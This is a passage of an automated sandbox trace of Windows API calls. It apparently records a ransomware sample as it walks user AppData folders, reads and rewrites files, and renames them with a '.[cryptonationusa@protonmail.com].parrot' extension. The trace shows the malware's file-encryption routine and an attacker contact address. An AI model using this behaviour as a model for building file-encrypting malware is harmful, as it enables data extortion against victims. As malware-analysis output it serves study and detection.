FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.323] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.323] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.323] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.323] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.323] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1ea6db0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfec5c570, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0089.324] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.324] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0089.332] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.332] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x2cf, lpOverlapped=0x0) returned 1 [0089.333] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.333] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0089.337] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.337] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.337] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.338] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.338] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.338] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.339] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.339] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.339] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.339] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.339] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.339] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.339] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0089.339] lstrcmpW (lpString1="si", lpString2=".") returned 1 [0089.339] lstrcmpW (lpString1="si", lpString2="..") returned 1 [0089.339] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.340] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.340] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.341] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.341] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.341] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.341] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.341] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.342] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.344] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.344] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.344] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.344] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.344] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.344] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x182ac2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data1.cab", cAlternateFileName="")) returned 1 [0089.345] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.345] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0089.347] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.347] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0089.384] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.385] WriteFile (in: hFile=0x264, lpBuffer=0x6a90d8*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x6a90d8*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0089.386] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.386] WriteFile (in: hFile=0x264, lpBuffer=0x3040040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x3040040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0089.396] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x182ad42, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.396] CloseHandle (hObject=0x264) returned 1 [0089.397] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317bf90 [0089.397] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x69dff8 [0089.397] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0089.460] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.460] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0089.462] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.462] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdd600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xdd600, lpOverlapped=0x0) returned 1 [0089.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0089.495] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0089.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0089.539] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0089.549] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.549] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.550] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.551] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0089.551] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0089.551] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.551] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xad935960, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad935960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.552] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.552] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.552] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde2801c0, ftCreationTime.dwHighDateTime=0x1d5bad2, ftLastAccessTime.dwLowDateTime=0x63863580, ftLastAccessTime.dwHighDateTime=0x1d5c00f, ftLastWriteTime.dwLowDateTime=0xaa869660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x6928, dwReserved0=0x0, dwReserved1=0x0, cFileName="-1bc-uXLG CGOot_.jpg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="-1BC-U~1.PAR")) returned 1 [0089.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0089.552] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.552] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.553] CloseHandle (hObject=0x260) returned 1 [0089.553] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfd1b6ec0, ftCreationTime.dwHighDateTime=0x1d5c51b, ftLastAccessTime.dwLowDateTime=0x1c332260, ftLastAccessTime.dwHighDateTime=0x1d5bcea, ftLastWriteTime.dwLowDateTime=0xaaa58840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xbe48, dwReserved0=0x0, dwReserved1=0x0, cFileName="-q13UDuCHz8Px2HXFv.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="-Q13UD~1.PAR")) returned 1 [0089.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0089.553] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.553] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.554] CloseHandle (hObject=0x260) returned 1 [0089.554] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8cb9c030, ftCreationTime.dwHighDateTime=0x1d5c3dd, ftLastAccessTime.dwLowDateTime=0xb44eade0, ftLastAccessTime.dwHighDateTime=0x1d5c56d, ftLastWriteTime.dwLowDateTime=0xaac218c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x149e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="0Md0.csv.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="0MD0CS~1.PAR")) returned 1 [0089.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0089.554] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.554] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.555] CloseHandle (hObject=0x260) returned 1 [0089.555] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f5dc0, ftCreationTime.dwHighDateTime=0x1d5c0fa, ftLastAccessTime.dwLowDateTime=0xb44a7fd0, ftLastAccessTime.dwHighDateTime=0x1d5bc04, ftLastWriteTime.dwLowDateTime=0xaad9e680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x6b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="3dIa-bo RnbIojb.swf.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="3DIA-B~1.PAR")) returned 1 [0089.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0089.555] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.555] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.556] CloseHandle (hObject=0x260) returned 1 [0089.556] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9b9ba340, ftCreationTime.dwHighDateTime=0x1d5b9c2, ftLastAccessTime.dwLowDateTime=0x5d930210, ftLastAccessTime.dwHighDateTime=0x1d5bdea, ftLastWriteTime.dwLowDateTime=0xaadea940, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x12d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="5T3pGiSbr.odp.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="5T3PGI~1.PAR")) returned 1 [0089.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0089.556] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.556] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.557] CloseHandle (hObject=0x260) returned 1 [0089.557] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa43f2090, ftCreationTime.dwHighDateTime=0x1d5bd0e, ftLastAccessTime.dwLowDateTime=0x8fa164e0, ftLastAccessTime.dwHighDateTime=0x1d5befd, ftLastWriteTime.dwLowDateTime=0xaaf415a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x50e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="7sz8.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="7SZ8GI~1.PAR")) returned 1 [0089.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0089.557] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.557] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.558] CloseHandle (hObject=0x260) returned 1 [0089.558] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0089.558] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0089.558] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0089.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0089.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x223c100 [0089.558] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.559] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.559] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, 